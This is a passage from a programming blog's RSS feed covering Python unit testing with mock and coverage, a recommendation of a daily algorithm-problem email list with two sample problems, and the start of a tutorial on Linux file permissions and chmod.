style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  File &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;testing.py&amp;#34;&lt;/span&gt;, line 24, in testHttpResponse&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    self.assertEqual&lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;200, responseStatus&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;AssertionError: &lt;span style=&#34;color:#ff9f43&#34;&gt;200&lt;/span&gt; !&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;404&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;--------------------------------------------------------------------&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Ran &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;test&lt;/span&gt; in 0.001s&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;FAILED &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;failures&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;1&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;coverage&#34;&gt;Coverage&lt;/h3&gt;&#xA;&lt;p&gt;Coverage monitors your code and examines the parts that were executed as well as the parts that were not, if we combine it with testing methods, it tells us which parts of the code are not being executed, this way we can find out which parts of the code are not being tested and write the appropriate code for it. Remember to install coverage if you want to test it.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;coverage report testing.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Name Stmts Miss Cover&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;-----------------------------&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;testing.py &lt;span style=&#34;color:#ff9f43&#34;&gt;17&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; 94%&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The report shows that there are 17 declarations, of which only one is not being executed, giving a coverage of 94%. The missing method must be handleError, to which we only assign a pass, it is not executed at any time and we do not have it covered in the tests either. Let&amp;rsquo;s see if it matches our hypothesis. Coverage also allows you to generate a file where it shows you which portions of the code are being executed and which are not.&lt;/p&gt;&#xA;&lt;p&gt;We execute coverage run and the name of our file, in this case &lt;em&gt;testing.py&lt;/em&gt;, followed by coverage annotate.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;coverage run testing.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;coverage annotate&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;A file will be generated in the folder where we are working with the name of your file and ending &amp;lsquo;&lt;em&gt;,cover&lt;/em&gt;&amp;rsquo;. This report will show the lines of our code and their status. The convention for the generated report is the following:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&amp;gt; Executed&lt;/li&gt;&#xA;&lt;li&gt;! Not executed&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Excluded&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# testing.py,cover&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; unittest&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; urllib.request &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; urlopen&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; mock &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; patch&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;ExampleResponseGetter&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;object&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;     &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;retrieveStatusCode&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;         statusCode &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; urlopen(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;http://example.org&amp;#39;&lt;/span&gt;)&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;code&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;         &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; statusCode&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;     &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;handleError&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;!&lt;/span&gt;         &lt;span style=&#34;color:#ff6ac1&#34;&gt;pass&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;TestWebPaymentRequest&lt;/span&gt;(unittest&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;TestCase):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;     &lt;span style=&#34;color:#ff9f43&#34;&gt;@patch&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;urllib.request.urlopen&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;     &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;testHttpResponse&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, mockedStatus):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;         mockedStatus&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;return_value&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;code &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;200&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;         StatusRetriever &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; ExampleResponseGetter()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;         responseStatus &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; StatusRetriever&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;retrieveStatusCode()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;         &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;assertEqual(&lt;span style=&#34;color:#ff9f43&#34;&gt;200&lt;/span&gt;, responseStatus)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;__name__&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;__main__&amp;#39;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;     unittest&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;main()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Our assumption is correct, the only line that stands out is the pass line of the handleError method. This method is not executed neither in the tests nor in the main class, it is uncovered code, which should be included later in the tests. The purpose of using coverage is to verify that your tests are covering as much of your code as possible. There are programmers that even go further and do not allow a code change if it decreases the percentage generated by coverage, that way they make sure that each new commit **increases the amount of code covered by the tests.&lt;/p&gt;&#xA;&lt;h3 id=&#34;other-testing-libraries&#34;&gt;Other Testing Libraries&lt;/h3&gt;&#xA;&lt;p&gt;Above I have placed some of the most popular ones, but there are enough libraries to choose the one we feel most comfortable with. Here are two others:&lt;/p&gt;&#xA;&lt;p&gt;Pylint warns you of errors in your code, suggests how to refactor code blocks, checks that your variable names are well-formed and also ensures that specific conventions are followed with respect to code formatting.&lt;/p&gt;&#xA;&lt;p&gt;It does not extend unittest, shows you more information about each bug and allows you to integrate its operation with other libraries, including coverage, through third-party plugins.&lt;/p&gt;&#xA;&lt;h3 id=&#34;but-you-didnt-mention-tox&#34;&gt;But&amp;hellip; you didn&amp;rsquo;t mention Tox.&lt;/h3&gt;&#xA;&lt;p&gt;That&amp;rsquo;s right, I didn&amp;rsquo;t mention it because I want to deal with the subject in a little more depth than I do here. In the next post I will talk about a tool called Tox, which makes it easy to run tests in different Python environments and versions, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/testing-with-tox-in-python-tutorial-from-scratch/&#34;&gt;go here to read it&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Long ago, when I started programming I thought that testing code was a waste of time. Why did I need to write more code? python unittest? mock? I could just read the code, see the places where the code might fail and handle the problem with a try and an except (or the equivalent in another language). I also thought that, aside from syntax errors, no errors would be generated in the flow of the code if one wrote carefully enough. The first programming book I read had a section devoted entirely to testing and I didn&amp;rsquo;t understand what all the fuss was about. why should I incorporate tests into my Python code? It wasn&amp;rsquo;t long before I realized how wrong I was. unittest python&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>An Algorithm Problem a Day</title>
      <link>https://coffeebytes.dev/en/linux/an-algorithm-problem-a-day/</link>
      <pubDate>Tue, 04 Jun 2019 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/linux/an-algorithm-problem-a-day/</guid>
      
      <category>linux</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;The other day, one of the youtubers I follow recommended a page to receive algorithms by email How would you like to receive one algorithm problem a day in your email? That&amp;rsquo;s 7 problems per week and 365 problems per year. Imagine how much it would improve your problem solving and analytical skills. Still not enough? What if I told you that these code puzzles are frequently asked questions in job interviews at top world-class technology companies?&lt;/p&gt;&#xA;&lt;h2 id=&#34;one-day-one-challenge&#34;&gt;One day, one challenge&lt;/h2&gt;&#xA;&lt;p&gt;To receive an algorithm problem, just send us an e-mail. The problems do not test your knowledge of syntax, nor the number of functions or libraries of any specific language, but your problem solving skills. The people in charge of the page (although I think it is only one) claim, &lt;strong&gt;although there is no way to corroborate it&lt;/strong&gt;, that the problems presented are obtained from job interviews at Google, Twitter, Uber, Airbnb, Stripe, among others.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;my-experience-with-challenges&#34;&gt;My experience with challenges&lt;/h2&gt;&#xA;&lt;p&gt;I subscribed to your list some time ago and currently receive your challenges by email. There are some that have taken me a couple of minutes to find the algorithm to solve and for others I have had to ponder the problem for several hours to come up with a solution. It&amp;rsquo;s addictive, that&amp;rsquo;s for sure.&lt;/p&gt;&#xA;&lt;p&gt;But, there is bad news; the solutions do not come to you by email, they are part of the premium package, for a fee, you didn&amp;rsquo;t expect them to work for free, did you? The premium package receives a detailed analysis of the solutions and their efficiency, using &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/the-big-o-notation-for-algorithm-analysis/&#34;&gt;Big O notation&lt;/a&gt;&#xA;. However, this is by no means an obstacle, as you can find out for yourself whether your solution meets the requirements or not just by reading the content of the email; the efficiency analysis is another story.&lt;/p&gt;&#xA;&lt;h2 id=&#34;a-couple-of-examples&#34;&gt;A couple of examples&lt;/h2&gt;&#xA;&lt;p&gt;Curious what the problems are like? Here are a couple of examples of the style of their problems:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Given a list of numbers and a k number, return if any two numbers from the list sum up to k&#xA;For example: given [10, 15, 3, 7] y k = 17, return true since 10 + 7 = 17&#xA;Bonus: Can you do this on one run?&lt;/p&gt;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Here is the second one:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Given an array of integers, returns a new array such that each element at index i of the new array is the product of all the numbers in the original array except the one at i.&#xA;For example, if our array were [1, 2, 3, 4, 5], the expected output would be [120, 60, 40, 30, 24]. If our input were [3, 2, 1], the expected output would be [2, 3, 6].&lt;/p&gt;&lt;/blockquote&gt;&#xA;&lt;p&gt;What do you think? Easy or difficult? Leave your opinion or solution to the problems in the comments. I will probably solve one of the problems in a future post.&lt;/p&gt;&#xA;&lt;h2 id=&#34;where-can-i-subscribe&#34;&gt;Where can I subscribe?&lt;/h2&gt;&#xA;&lt;p&gt;Here is the link to subscribe. Please note that the problems are in English.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.dailycodingproblem.com/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Daily coding problem&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;The other day, one of the youtubers I follow recommended a page to receive algorithms by email How would you like to receive one algorithm problem a day in your email? That&amp;rsquo;s 7 problems per week and 365 problems per year. Imagine how much it would improve your problem solving and analytical skills. Still not enough? What if I told you that these code puzzles are frequently asked questions in job interviews at top world-class technology companies?&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Mastering Chmod command and RWX Permissions on Linux Systems</title>
      <link>https://coffeebytes.dev/en/linux/understand-permissions-in-gnu-linux-and-the-chmod-command/</link>
      <pubDate>Wed, 29 May 2019 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/linux/understand-permissions-in-gnu-linux-and-the-chmod-command/</guid>
      
      <category>linux</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;The previous entry was the third part of the series on the most common GNU/Linux commands. To end the entry I wrote about the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/linux-basic-commands-passwd-du-useradd-usermod-fdisk-lscpu-apt-which/&#34;&gt;chmod command, which manages permissions&lt;/a&gt;&#xA;. This chmod command is one of the most complex commands in GNU/Linux, not because of its variety of options, but because of the previous knowledge required to be able to use it correctly, and its weird syntax (RWX) or even worse (777, 755, and so on)&lt;/p&gt;&#xA;&lt;p&gt;In this post I will expand a bit on the topic of permissions and show the two different ways of the chmod command to assign permissions to a file. For this entry we are going to use several basic GNU/Linux commands, if you are not familiar with the basic terminal commands check my tutorial on &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/linux-basic-commands-grep-ls-cd-cat-cp-rm-scp/&#34;&gt;the basic Linux commands&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;types-of-permissions-in-gnulinux-rwx&#34;&gt;Types of permissions in GNU/Linux (RWX)&lt;/h2&gt;&#xA;&lt;p&gt;In GNU/Linux there are 3 types of permissions for files; permission to read, specified by the letter &amp;lsquo;&lt;em&gt;r&lt;/em&gt;&amp;rsquo;; to write, represented by the letter &amp;lsquo;&lt;em&gt;w&lt;/em&gt;&amp;rsquo;; and to execute, assigned to the letter &amp;lsquo;&lt;em&gt;x&lt;/em&gt;&amp;rsquo;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;In Linux everything is a file&lt;/strong&gt;, so the above applies equally to directories. Permissions for files are shown by the &amp;lsquo;_ls&amp;rsquo; command.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ls -l&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;-rw-r--r-- &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; user user &lt;span style=&#34;color:#ff9f43&#34;&gt;9288&lt;/span&gt; may &lt;span style=&#34;color:#ff9f43&#34;&gt;14&lt;/span&gt; 00:40 helloWorld.out&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;-rw-r--r-- &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; user user &lt;span style=&#34;color:#ff9f43&#34;&gt;106&lt;/span&gt; may &lt;span style=&#34;color:#ff9f43&#34;&gt;14&lt;/span&gt; 00:40 source_code.cpp&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;There are 3 sets of 3 letters, each set contains spaces for the letters &amp;lsquo;&lt;em&gt;r&lt;/em&gt;&amp;rsquo; &amp;lsquo;&lt;em&gt;w&lt;/em&gt;&amp;rsquo; and &amp;lsquo;&lt;em&gt;x&lt;/em&gt;&amp;rsquo;, in that order.&lt;/p&gt;&#xA;&lt;p&gt;The presence of a hyphen indicates the absence of permissions. The first set represents the permissions of the file owner, the second set represents the permissions of the group to which the file belongs, and the third set represents the permissions of others. Before the first set is a space for the file type; &amp;lsquo;&lt;em&gt;D&lt;/em&gt;&amp;rsquo; for directory, or a hyphen for a file.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/linux/understand-permissions-in-gnu-linux-and-the-chmod-command/images/PermisosGNULinux-1.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/linux/understand-permissions-in-gnu-linux-and-the-chmod-command/images/PermisosGNULinux-1.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Meaning of permissions on a GNU/Linux system&#34; width=&#34;1200&#34; height=&#34;600&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Meaning of permissions on a GNU/Linux system&lt;/p&gt;&#xA;    